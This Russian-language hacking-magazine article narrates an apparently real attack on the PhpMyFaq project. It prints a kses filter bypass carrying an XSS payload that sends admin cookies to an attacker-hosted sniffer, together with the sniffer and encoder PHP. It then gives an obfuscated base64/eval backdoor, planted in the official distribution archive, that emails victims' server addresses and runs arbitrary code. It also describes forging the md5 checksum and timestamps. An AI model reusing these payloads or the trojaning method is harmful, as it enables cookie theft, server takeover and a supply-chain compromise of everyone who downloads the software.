Как-то раз я наткнулся в Гугле на сайт
http://phpmyfaq.de. Это
официальная страница движка для создания факов – PhpMyFaq (по аналогии со
скриптом менеджера БД PhpMyAdmin). Заинтересовавшись, я решил проверить
распространенность движка в инете. По запросу «phpmyfaq» поисковик выдал 828 000
результатов! И тут мне пришла безумная идея: что, если взломать официальный сайт
движка, а затем протроянить архивы с PhpMyFaq своим php-шеллом?

 

Поиск путей проникновения

Для справки: PhpMyFaq – это многофункциональная web-система FAQ, написанная
на PHP и использующая БД, с поддержкой различных языков (в том числе и
русского). При заходе на сайт в глаза сразу же бросается ссылка на devblog
разработчиков, на который я, собственно, и перешел. Блог работал на моей любимой
платформе WordPress :). Тут ты, наверняка, подумаешь: «Фу, вордпресс, его же
может сломать даже ребенок!». Ничего подобного! Утверждение верно лишь для
старых версий. В новых, чтобы взломать блог, приходится изрядно повозиться.

Итак, открыв html-исходник главной страницы блога, я увидел жизнеутверждающую
надпись: «<meta name="generator" content="WordPress 2.3.3" />». На момент
написания статьи это была одна из последних версий вордпресса. Полезных
паблик-уязвимостей для нее не существует, но на каждую дверь всегда найдется
своя отмычка! Немного поразмыслив, я вспомнил о недавнем баге в kses
html-фильтрах (опенсорс-библиотека, используемая во многих скриптах, в том числе
и вордпрессе). Баг заключался в следующем: при проверке ссылок в комментариях
(да и вообще, где угодно) kses-фильтры некорректно обрабатывают начало ссылки –
протокол. По задумке разработчиков, kses-фильтр пропустит только ссылки,
начинающиеся с http://, ftp://, mail://. Так оно и будет работать, но не всегда
:). Путем вставки в линк урлдекодированного символа %0B, мы можем обойти это
ограничение. То есть, при постинге комментария с содержимым

<a href="%0Bjavascript:alert(document.cookie)">Click here</a> (%0B здесь
нужно пропустить через urldecode() )

на таргетной странице мы получим просто javascript-ссылку

<a href="javascript:alert(document.cookie)">Click here</a>

Так что мне оставалось только закодировать evil-жаваскрипт, дабы избавить его
от кавычек, поставить сниффер на свой evil-хост и придумать такую ссылку,
которую бы админы с удовольствием кликнули.

 

Перед взломом

Ядовитая строка у меня получилась такая:

window.location.href=’http://myevilhost.com/snif.php?id=’+document.cookie;

Здесь: http://myevilhost.com/snif.php?id= – мой сниффер, принимающий входящие
кукисы через параметр id. Его содержимое, скорее всего, тебе до боли знакомо:

<?php
$id = $_GET["id"];
$file = fopen('log.txt', 'a');
fwrite($file, $id );
fclose($file);
?>
<script>history.go(-1)</script>
Under&nbsp;construction

Полученные кукисы сразу же записываются в log.txt, и серфер перенаправляется
обратно на страницу блога.

Далее было необходимо зашифровать мою ядовитую строку в url-представление.
Для этого я также набросал нехитрый скрипт:

<?php
$str2hex = urldecode("window.location.href=
'http://myevilhost.com/snif.php?id='+document.cookie;");
$returnstr='';
for($i=0;$i<strlen($str);$i++)
{
if($str[$i]=='&')
{
$returnstr .= "$str[$i]";
}
else
{
$hex=dechex(ord($str[$i]));
$returnstr .= "%$hex";
}
}
print $returnstr;
?>

На выходе получилась строка урл-кодированных символов, из которой я и
составил свой мега-комментарий (%0B, конечно же, раскодировал перед постингом):

Help me! My PhpMyFaq installation does not work correctly 🙁
<a href="%0Bjavascript:%77%69%6e%64%6f%77%2e%6c%6f%63
%61%74%69%6f%6e%2e%68%72%65%66%3d %27%68%74%74%70%3a%2f%2f%6d%79%65%76%69%6c%68%6f%73%74%2e%63%6f%6d%2f%73
%6e%69%66%2e%70%68%70%3f%69%64%3d%27%2b%64%6f%63
%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b">my faqdesc</a>

И, как ни странно, отзывчивые разработчики «пхпмайфака» буквально на
следующий день кликнули по моей ссылке.

 

Проникновение

Проснувшись, я сразу полез на свой дедик проверять log.txt и увидел в нем
жизнеутверждающую строку:

wordpressuser_1307522524cd4b36efbb9978596d45d7=support;
wordpresspass_1307522524cd4b36efbb9978596d45d7=0c90dc4b44d73f4122933f2b17bf3db7

Видимо, это были кукисы одного из админов блога :).

Теперь мне оставалось только вставить их в Оперу. Что я и сделал с помощью
встроенного редактора кукисов (Инструменты-Дополнительно-Cookies). Зайдя в
админку блога http://devblog.phpmyfaq.de/wp-admin, я убедился, что полученные
кукисы были действительно админские, так как никакого урезания прав даже близко
не наблюдалось. Отсюда я пошел в раздел управления плагинами и убедился, что
админам вообще не знакомо понятие безопасности. Единственный плагин блога –
Akismet (антиспам-плагин) – был открыт на запись (впоследствии выяснилось, что
абсолютно все файлы на сервере доступны для записи), чем я немедленно и
воспользовался, вставив в его код шелл собственного написания. Теперь он был
доступен по адресу http://devblog.phpmyfaq.de/wp-admin/?popa. Далее я стал
искать дистрибутивы PhpMyFaq для скачивания. Таковые нашлись на пару директорий
выше в ./../../download. Последней стабильной версией движка был
phpmyfaq-2.0.7.zip. Его-то я и решил протроянить :).

Для этой нехитрой цели я установил скрипт на свой локалхост и наобум взял
один файл для опытов – ./inc/functions.php. Теперь нужно было лишь придумать
механизм, уведомляющий о том, что новая жертва устанавливает протрояненный
дистрибутив себе на хост – и похитрее его замаскировать (и сам шелл, само
собой). Неплохо было бы сделать так, чтобы во время установки движка
какой-нибудь служебный файл (пустой) записывался в /tmp, а на мое мыло приходил
бы отчет с адресом жертвы. Файл в /tmp нужен был, чтобы мыло не приходило каждый
раз, когда кто-нибудь зайдет на страницы скрипта :).

И я взялся за программную реализацию.

 

Кодинг

Вышеизложенные идеи я уместил всего лишь в нескольких строчках кода:

if(!is_file("/tmp/sess_php001"))
{
mail("Moe_milo@mail.ru",
"New shell of PhpMyFaq ".getenv("SERVER_NAME").
getenv("SCRIPT_NAME"), getenv("SERVER_NAME").
getenv("SCRIPT_NAME"));
}
$fp=fopen("/tmp/sess_php001","w");
fputs($fp,1);
fclose($fp);
isset($_GET[viewnewest]) ? eval(trim(stripslashes($_GET[viewnewest]))) : "";

Объясняю: если файла /tmp/sess_php001 не существует, скрипт шлет мыло на мой
адрес с урлом жертвы, затем создает файл /tmp/sess_php001. Если существует
параметр $_GET[viewnewest], то он исполняется, как php-код. Все гениальное
просто :).

Теперь мой код необходимо было зашифровать. Я поступил с ним так:

1. Пропустил через base64_encode();
2. Перевел все полученные символы в chr-представление:

$returnstr='';
for($i=0;$i<256;$i++)
{
$arr[chr($i)]=$i;
}

for($i=0;$i<strlen($str);$i++)
{
$i!=(strlen($str)-1) ? $returnstr .= $arr[substr($str,$i,1)].
',' : $returnstr .= $arr[substr($str,$i,1)];
}
print $returnstr;

3. Сериализовал строку с помощью serialize();
4. Закодировал в урл-представление с помощью urlencode();
5. Случайным образом разбил строку в массив.

В результате этих извращений получилось что-то вроде:

array(‘a%3A444%3A%7Bi%3A0%3Bi%3A68%’,
‘3Bi%3A1%3Bi%3A81%3Bi%3A2%3Bi%3A1
12%3Bi%3A3%3Bi%3A112%’,
…….
‘i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A
29%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi’)

Ты смог бы расшифровать такое? 🙂 Имхо, любой кодер просто забьет на такую
строку, если вдруг случайно увидит ее.

Затем последовали финальные штрихи. В файл functions.php, а именно – в
function mkts($datum=false,$zeit=false), я вставил следующий код, который
расшифровывал и исполнял мою очередную evil-строку:

$cleanurl=array('a%3A444%3A%7Bi%3A0%3Bi
%3A68%','3Bi%3A1%3Bi%3A81%3Bi%3A2
%3Bi%3A112%3Bi%3A3%3Bi%3A112%',
.......
'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29
%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi');
$cleanstring = '';
for ($i = 0;$i < count($cleanurl);$i++)
{
$cleanstring .= $cleanurl[$i];
}
$cleanstring = unserialize(urldecode($cleanstring));
$cleanurl = '';
for ($i = 0;$i < count($cleanstring);$i++)
{
$cleanurl .= chr($cleanstring[$i]);
}
eval(base64_decode($cleanurl));

В том же скрипте я преднамеренно создал вызов функции mkts().

 

Левел комплит!

Заново перепаковав архив phpmyfaq-2.0.7.zip, я залил его в директорию
downloads и изменил время модификации файла обратно на May 12 08:41 командой
touch -t 200805120841.10 phpmyfaq-2.0.7.zip. Оставалось поколдовать над соседним
файлом phpmyfaq-2.0.7.zip.md5, который содержал md5-хэш архива предыдущей
непротрояненной версии скрипта в формате «2f2f51ed114bf512e57fc76b7ecbd39c
*phpmyfaq-2.0.7.zip». Новый хэш архива (c4838a94897d9840ead97050c6dc1a46),
полученный с помощью встроенной в php функции md5file(), я и записал вместо
старого! Не забыл изменить и время модификации второго файла. После этой
нехитрой операции протроянивания ко мне на мыло постоянно приходят ссылки на
новые шеллы. Что, в общем-то, мне и требовалось. А тебе пожелаю быть очень
внимательным с опенсорсными движками. Не я, так кто-нибудь другой сможет
незаметно подсунуть тебе троянского коня в красивой обертке. Конец :).

 

После

Те, кто установил протрояненный дистрибутив к себе на хост, понемногу стали
подозревать что-то неладное. На официальном форуме движка http://forum.phpmyfaq.de
зачастую можно увидеть топики следующего содержания:

Привет, моя версия phpmyfaq, которую я скачал с вашего сайта, выдает
следующий бред:
Warning: mail() [function.mail]: SMTP server response:
550 <moe_milo@mail.ru>… Recipient unknown in directory\phpmyfaq\inc\functions.php(1504)
: eval()’d code on line 4
Warning: fopen(/tmp/sess_php001) [function.fopen]: failed to open stream: No
such file or directory in directory\phpmyfaq\inc\functions.php(1504) : eval()’d
code on line 6
Warning: fputs(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504)
: eval()’d code on line 7
Warning: fclose(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504)
: eval()’d code on line 8
Thanks in advance.
Мыло в этом сообщении выглядит подозрительно, что делать?

Во избежание происков таких подозрительных личностей с включенным php
safe-mode и кастрированным sendmail’ом я убрал свой злонамеренный код из
дистрибутива за номером 2.0.7 и вставил его по той же технологии в дистрибутив
1.6. Скачивают его меньше и, соответственно, реже замечают что-то неладное. Будь
осторожен, если вдруг захочешь поставить себе PhpMyFaq версии 1.6! Хотя и насчет
2.0 тоже не могу обещать, что в скором времени не вставлю туда что-нибудь
нехорошее :).

 

WWW

http://phpmyfaq.de – оффициальный сайт
PhpMyFaq.
http://wordpress.org – оффициальный сайт
WordPress.
http://www.securityfocus.com/archive/1/490402 – описание уязвимости в
kses-фильтрах.

 

DANGER

Информация предоставляется исключительно к размышлению. Никакая часть статьи
не может быть использована во вред. В обратном случае ни автор, ни редакция не
несут какой-либо ответственности за возможный ущерб, причиненный вашими
действиями.



Полную версию статьи
читай в августовском номере
Хакера!

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…